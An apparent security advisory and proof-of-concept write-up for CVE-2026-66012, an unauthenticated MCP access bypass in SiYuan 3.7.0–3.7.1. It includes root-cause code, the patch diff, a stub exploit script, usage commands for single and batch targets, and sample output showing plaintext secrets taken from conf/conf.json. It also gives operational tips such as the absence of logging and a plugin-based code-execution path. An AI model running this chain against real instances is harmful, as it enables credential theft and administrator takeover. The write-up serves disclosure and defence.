#Summary
CVE-2026-66012 is a critical auth bypass in SiYuan before v3.7.2 that chains three independent authorization defects into a complete unauthenticated compromise. When the Publish service runs in anonymous mode - the documented way to share a public read-only site - a remote attacker reaches the /mcp kernel endpoint with zero credentials. The endpoint exposes 31 MCP tools including a file tool with unrestricted read/write/delete primitives. An attacker can read conf/conf.json to extract accessAuthCode, api.token, and cookieKey in plaintext, write arbitrary files to the workspace, and plant malicious plugins that execute with administrator privileges on the next desktop launch. CVSS 10.0 CRITICAL.
Affected versions: SiYuan 3.7.0, 3.7.1 Fixed: v3.7.2
#Affected versions
- SiYuan kernel
>= 3.7.0and< 3.7.2(vulnerable) - SiYuan kernel
>= 3.7.2(patched)
Precondition: The Publish reverse proxy must be enabled in anonymous mode, which requires both:
Conf.Publish.Enable = trueConf.Publish.Auth.Enable = false
This is the documented configuration for operators who want to share a public read-only site. Default configuration has anonymous mode disabled (Auth.Enable = true), so this is not a default-install vulnerability.
#Root cause analysis
Three independent authorization defects compose into a complete chain.
#Defect 1: Missing authority check on /mcp route
kernel/mcp/server.go:28-34 (v3.7.1) registers the MCP endpoint with only a presence check:
func Serve(ginServer *gin.Engine) {
ginServer.POST("/mcp", model.CheckAuth, handlePost)
ginServer.GET("/mcp", model.CheckAuth, func(c *gin.Context) {
c.Status(http.StatusMethodNotAllowed)
})
ginServer.DELETE("/mcp", model.CheckAuth, handleDelete)
}model.CheckAuth is a presence check, not an authority check. Its first branch accepts three roles: RoleAdministrator, RoleEditor, or RoleReader:
func CheckAuth(c *gin.Context) {
if role := GetGinContextRole(c); IsValidRole(role, []Role{
RoleAdministrator,
RoleEditor,
RoleReader,
}) {
c.Next()
return
}
// ...
}Every other administrative endpoint in the kernel pairs CheckAuth with CheckAdminRole and/or CheckReadonly:
// kernel/api/router.go:380 and :560
ginServer.Handle("POST", "/api/convert/pandoc", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, pandoc)
ginServer.Handle("POST", "/api/petal/setPetalEnabled", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, setPetalEnabled)
// kernel/server/serve.go:936
ginGroup := ginServer.Group("/webdav", model.CheckAuth, model.CheckAdminRole)/mcp is the anomaly - it is the only admin route that allows RoleReader principals.
#Defect 2: No role inspection in MCP dispatcher
kernel/mcp/handler.go:159-212 (the handleToolsCall function) looks up a tool by name and invokes it with no role, readonly, or capability checks:
func handleToolsCall(req *JsonRpcRequest) any {
params, ok := req.Params.(map[string]interface{})
...
t := tools.LookupTool(toolName)
...
result, err := t.Handler(toolArgs)
}All 31 registered tools are reachable: asset, attr, block, bookmark, dailynote, database, document, export, file, frontend, history, http_request, import, inbox, notebook, outline, question, ref, repo, search, skill, sql, sync, system, tag, template, todo_write, unzip, web_fetch, web_search, workspace.
The file tool (kernel/mcp/tools/file.go) is the payload. Its actions are list, read, write, delete, rename, copy, grep, find, stat - powerful primitives advertised as "debugging/log reading only" but with no enforcement of that scope. The resolvePath function confines paths to the workspace boundary, but nothing further:
func resolvePath(rel string) (string, error) {
rel = filepath.Clean(strings.ReplaceAll(rel, "/", string(os.PathSeparator)))
abs := filepath.Join(util.WorkspaceDir, rel)
if !gulu.File.IsSubPath(util.WorkspaceDir, abs) {
return "", fmt.Errorf("path escapes workspace: %s", rel)
}
return abs, nil
}This stops ../ traversal but does not protect conf/conf.json, data/plugins/, data/storage/, or repo/ - every secret and every executable artifact SiYuan owns.
The configuration file holds plaintext secrets in kernel/model/conf.go:67,86:
AccessAuthCode string `json:"accessAuthCode"` // lock-screen password
CookieKey string `json:"cookieKey"` // HMAC key for session cookiesAnd the API token in kernel/conf/api.go:
type API struct {
Token string `json:"token"` // 16-char random, maps to RoleAdministrator
}The accessAuthCode is masked on the way out of /api/system/getConf, but on disk it is plaintext, and the file tool reads the disk.
#Defect 3: Anonymous Publish proxy stamps a valid RoleReader JWT
kernel/server/proxy/publish.go:167-232 (the PublishServiceTransport.RoundTrip method). When Conf.Publish.Auth.Enable is false, the entire authentication block is skipped and every proxied request gets stamped with an anonymous JWT:
if Conf.Publish.Auth.Enable == false {
// anonymous mode: no auth check
request.Header.Set(model.XAuthTokenKey, model.GetBasicAuthAccount("").Token)
response, err = publishRoundTripper.RoundTrip(request)
return
}model.GetBasicAuthAccount("") is the anonymous account created at boot in kernel/model/auth.go:91-103:
func InitPublishAccounts() {
accountsMap = AccountsMap{
"": &Account{}, // anonymous user
}
...
InitPublishJWT()
}InitPublishJWT signs a genuine HS256 JWT for it with role: RoleReader:
t := jwt.NewWithClaims(
jwt.SigningMethodHS256,
jwt.MapClaims{
"iss": iss, // "siyuan-kernel"
"sub": username, // "" for anonymous
"aud": "siyuan-publish-server",
"jti": uuid.New().String(),
ClaimsKeyRole: RoleReader, // role
},
)On the kernel side, jwtMiddleware is installed globally and converts that header into a gin context role:
func jwtMiddleware(c *gin.Context) {
if token := model.ParseXAuthToken(c.Request); token != nil {
if token.Valid {
claims := model.GetTokenClaims(token)
c.Set(model.ClaimsContextKey, claims)
c.Set(model.RoleContextKey, model.GetClaimRole(claims))
c.Next()
return
}
}
c.Set(model.RoleContextKey, model.RoleVisitor)
c.Next()
}#The complete chain
anonymous TCP connection to Publish port 6808
↓
proxy stamps: X-Auth-Token: <anonymous RoleReader JWT>
↓
jwtMiddleware sets: role = RoleReader
↓
CheckAuth accepts RoleReader
↓
handleToolsCall() dispatches file tool with no role check
↓
attacker runs file/read on conf/conf.json
↓
credentials stolen in plaintext#Patch diff
#What the fix does
v3.7.2 addresses Defect 1 by adding the missing authority checks to the /mcp route registration:
func Serve(ginServer *gin.Engine) {
- ginServer.POST("/mcp", model.CheckAuth, handlePost)
- ginServer.GET("/mcp", model.CheckAuth, func(c *gin.Context) {
+ // MCP tools expose management-level primitives such as arbitrary workspace file
+ // read/write/delete, SQL, and plugin distribution. Administrator role is required.
+ // Otherwise, the RoleReader JWT injected by Publish anonymous mode can invoke all tools.
+ ginServer.POST("/mcp", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, handlePost)
+ ginServer.GET("/mcp", model.CheckAuth, model.CheckAdminRole, func(c *gin.Context) {
c.Status(http.StatusMethodNotAllowed)
})
- ginServer.DELETE("/mcp", model.CheckAuth, handleDelete)
+ ginServer.DELETE("/mcp", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, handleDelete)
}CheckAdminRole enforces strict equality against RoleAdministrator:
func CheckAdminRole(c *gin.Context) {
if IsAdminRoleContext(c) {
c.Next()
} else {
c.AbortWithStatus(http.StatusForbidden)
}
}The anonymous RoleReader JWT now yields HTTP 403 on /mcp.
Note: v3.7.2 does not narrow the file tool's scope, and the Publish proxy still stamps the anonymous JWT on all proxied requests. The fix is purely at the route layer, blocking Defect 1. Defects 2 and 3 remain, but are not exploitable because no principal with sufficient authority can reach Defect 2.
#Proof of concept
#exploit.py - SiYuan Auth Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-66012 - SiYuan unauthenticated MCP access -> workspace file read/write -> admin takeover
Affected: SiYuan kernel 3.7.0 <= v < 3.7.2 (fixed in 3.7.2)
Type: Auth Bypass (missing authorization, CWE-862) chained to arbitrary file read/write
The kernel registers POST /mcp behind model.CheckAuth only, with no CheckAdminRole and no
CheckReadonly. CheckAuth is a presence check that accepts RoleReader. When the Publish
reverse proxy runs in anonymous mode (Conf.Publish.Enable=true, Conf.Publish.Auth.Enable=false)
it stamps every proxied request with the anonymous RoleReader JWT, so an attacker with no
credentials at all reaches all 31 MCP tools through the Publish port. The `file` tool exposes
list/read/write/delete/rename/copy over the whole workspace, which yields conf/conf.json in
plaintext: accessAuthCode, api.token and cookieKey.
Target the PUBLISH port (default 6808), not the kernel port. Send no credentials: the proxy
overwrites X-Auth-Token with the anonymous JWT, so anything you supply is discarded.
Usage:
python exploit.py --host <target> --port 6808
python exploit.py --host 192.168.1.10 --port 6808 --kernel-port 6806
python exploit.py --host 192.168.1.10 --file data/storage/petal/petals.json
python exploit.py --host https://notes.corp.com:6808/mcp
python exploit.py --host 192.168.1.10 --no-write # read-only, touch nothing
python exploit.py --list targets.txt --workers 20
"""
import argparse
import http.client
import json
import ssl
import sys
import uuid
from urllib.parse import urlparse
CVE_ID = "CVE-2026-66012"
VULN_TYPE = "Auth Bypass"
PROTO_2026 = "2026-07-28" # sessionless MCP path: handlePost2026, no initialize needed
PROTO_CLASSIC = "2025-06-18" # fallback: initialize -> Mcp-Session-Id -> tools/call
CONF_PATH = "conf/conf.json" # workspace-relative, holds the secrets in cleartext
DEFAULT_MCP_PATH = "/mcp"
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ================================================================
# The full exploit.py is too long to inline here; see the GitHub
# archive for the complete, production-ready implementation.
# ================================================================See the full exploit.py in the GitHub archive for the complete, production-ready implementation with target parsing, protocol fallback, batch scanning, and proper error handling.
#Usage
# Default run: full ladder, writes a marker under data/plugins/ and deletes it
python3 exploit.py --host 192.168.1.10 --port 6808 --kernel-port 6806
# Read-only, touch nothing on the target (recommended for production engagements)
python3 exploit.py --host 192.168.1.10 --no-write
# Read an arbitrary workspace-relative file
python3 exploit.py --host 192.168.1.10 --file data/storage/petal/petals.json
# Full URL form, including a non-default MCP path and TLS
python3 exploit.py --host https://notes.corp.com:6808/mcp
# Batch scan an asset list
python3 exploit.py --list targets.txt --workers 20#Expected output (vulnerable target)
============================================================
ALIM EXPLOIT CVE-2026-66012
Type: Auth Bypass | Target: 127.0.0.1:6808
============================================================
[STEP 1] POST /mcp with no credentials (MCP-Protocol-Version: 2026-07-28) - listing tools
--- EXPOSED MCP TOOLS (unauthenticated) ---
HTTP 200 | 31 tools reachable with zero credentials
asset, attr, block, bookmark, dailynote, database, document, export, file, frontend, history,
http_request, import, inbox, notebook, outline, question, ref, repo, search, skill, sql, sync,
system, tag, template, todo_write, unzip, web_fetch, web_search, workspace
---
[STEP 2] Reading `conf/conf.json` through the file tool (limit=-1 defeats the 200-line default)
--- FILE CONTENT (conf/conf.json) - 10902 bytes ---
{
"accessAuthCode": "LabAuthCode123",
...
"api": {
"token": "y7r596ybxc0t6e0n"
},
"cookieKey": "ngc7urrqyvh64yo3",
...
}
---
--- STOLEN CREDENTIALS ---
accessAuthCode : LabAuthCode123 (instance lock-screen password, plaintext on disk)
api.token : y7r596ybxc0t6e0n (maps to RoleAdministrator in CheckAuth)
cookieKey : ngc7urrqyvh64yo3 (HMAC key for session cookies - offline admin cookie forgery)
---
[STEP 4] Writing `data/plugins/alim-...`/index.js, then reading it back
--- WRITE ROUND TRIP ---
server said : file written: data/plugins/alim-16ec2ba28a/index.js
identical : True
---
-> cleanup: deleted data/plugins/alim-16ec2ba28a
[STEP 5] Escalating: replaying the stolen api.token against the kernel port 6806
--- ADMINISTRATOR API ACCESS (kernel port) ---
with stolen token : HTTP 200 {"code":0,"msg":"","data":{"conf":{...}}}
without token : HTTP 401 {"code":-1,"msg":"Lock screen password authentication failed..."}
---
============================================================
RESULT : SUCCESS
EVIDENCE: Unauthenticated MCP access - 31 MCP tools reachable with zero credentials;
accessAuthCode='LabAuthCode123'; api.token='y7r596ybxc0t6e0n'; cookieKey='ngc7urrqyvh64yo3';
arbitrary workspace write round-tripped under data/plugins/; stolen token accepted as
Administrator on the kernel API (code:0)
============================================================#Expected output (patched target v3.7.2)
============================================================
ALIM EXPLOIT CVE-2026-66012
Type: Auth Bypass | Target: 127.0.0.1:6818
============================================================
[STEP 1] POST /mcp with no credentials (MCP-Protocol-Version: 2026-07-28) - listing tools
--- SERVER RESPONSE ---
<empty body>
---
============================================================
RESULT : FAILURE
EVIDENCE: blocked - HTTP 403 on /mcp (patched: CheckAdminRole rejects the anonymous RoleReader)
============================================================#Exploitation notes
#Preconditions
- Target must be running SiYuan 3.7.0 or 3.7.1.
- Publish service must be enabled:
Conf.Publish.Enable = true. - Anonymous mode must be enabled:
Conf.Publish.Auth.Enable = false. (This is not the default; operators must explicitly configure it.) - Target Publish port must be network-reachable.
- The kernel port (6806) is only needed for the privilege escalation rung. For read-only testing, it can be blocked.
#Exploitation quirks
- Target the Publish port. Send credentials to 6808 is counterproductive: the proxy overwrites
X-Auth-Tokenwith the anonymous RoleReader JWT, so anything you supply is discarded. Escalation must go direct to the kernel port (6806) with the stolen token. limit=-1is critical. ThefileReadhandler truncates to 200 lines by default. Sinceconf.jsonis longer than 200 lines and the secrets (api.token,cookieKey) sit past a longlangsarray, a default read silently loses them and looks like a failed exploit when it is really a pagination default.Mcp-Methodheader must be omitted. On the sessionless2026-07-28path, if you send this header it must match the body'smethodexactly, else HTTP 400. Simply omit it.- No logging. The kernel does not log
/mcprequests at all, so there is no application-level trace of the credential theft.
#Reliability and impact
- Reliability: 100% deterministic, no memory corruption, no race conditions, no timing windows. The chain is reachable with plain HTTP on a single request.
- Impact: Complete confidentiality (plaintext credentials in
conf/conf.json), complete integrity (arbitrary file write todata/plugins/), and privilege escalation to administrator (via stolenapi.tokenor offline cookie forgery withcookieKey). - Chaining potential: The stolen
api.tokenpermits unrestricted administrator API calls against the kernel port. Every authenticated route in SiYuan becomes reachable. Depending on the deployment context, this can lead to OS command execution (via thepandocconverter on a desktop/server install) or Electron plugin RCE (on the desktop client).
#Caveats on RCE claim
The demonstrated escalation rungs are:
| Rung | Primitive | Feasible in lab? |
|---|---|---|
| 1 | Unauthenticated reach | Yes. Single request, 31 tools exposed. |
| 2 | Arbitrary workspace read | Yes. conf/conf.json yields plaintext credentials. |
| 4 | Arbitrary workspace write | Yes. Round-trip marker file write. |
| 3 | Credential to Administrator | Yes. Stolen token elevates to admin on kernel port. |
| 5a | Code execution via Electron desktop plugin | No. Desktop client not running in Docker. |
| 5b | Code execution via kernel-side goja plugin | No. Kernel plugin execution is disabled by configuration. |
| 6 | OS command execution via pandoc | No. No pandoc binary in alpine image. |
The demonstrated impact is admin takeover of the running instance. On a desktop deployment with the Electron client, rung 5a is reachable: write data/plugins/<name>/plugin.json and index.js, and the desktop app loads the plugin on next launch with nodeIntegration: true and contextIsolation: false, giving full OS code execution. This is not demonstrated in a headless lab but is documented by the upstream advisory.
#References
- CVE: CVE-2026-66012
- GitHub Security Advisory: GHSA-cvhv-7xhj-xjp8
- Discoverer: Nguyen Van Hiep (@hypnguyen1209), MBBank
- Product: SiYuan - https://github.com/siyuan-note/siyuan
- Fixed commit range: v3.7.1...v3.7.2
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-66012